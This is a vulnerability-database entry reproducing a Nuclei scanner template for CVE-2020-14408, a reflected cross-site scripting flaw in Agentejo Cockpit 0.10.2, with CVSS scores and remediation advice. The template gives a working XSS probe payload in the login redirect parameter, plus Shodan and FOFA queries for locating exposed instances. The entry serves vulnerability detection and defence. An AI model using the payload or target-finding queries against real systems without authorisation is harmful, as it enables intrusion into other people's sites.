Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-14408
HistoryJul 06, 2022 - 6:22 a.m.

Agentejo Cockpit 0.10.2 - Cross-Site Scripting

2022-07-0606:22:49
ProjectDiscovery
github.com
2

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

45.1%

Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page’s content.

id: CVE-2020-14408

info:
  name: Agentejo Cockpit 0.10.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/agentejo/cockpit/issues/1310
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-14408
    cwe-id: CWE-79
    epss-score: 0.00113
    epss-percentile: 0.44743
    cpe: cpe:2.3:a:agentejo:cockpit:0.10.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve2020,cve,cockpit,agentejo,xss,oss

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "redirectTo = '/92874';alert(document.domain)//280';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c776cfa8afcb78cf67be23059268feb0a4ce17e7c5f73b1f02c6be009b1054bd02202ec25012d5a48bcf4b66705a67e2b6d2fb16137d05d42d484c67a2d45ff53cf0:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

45.1%

Related for NUCLEI:CVE-2020-14408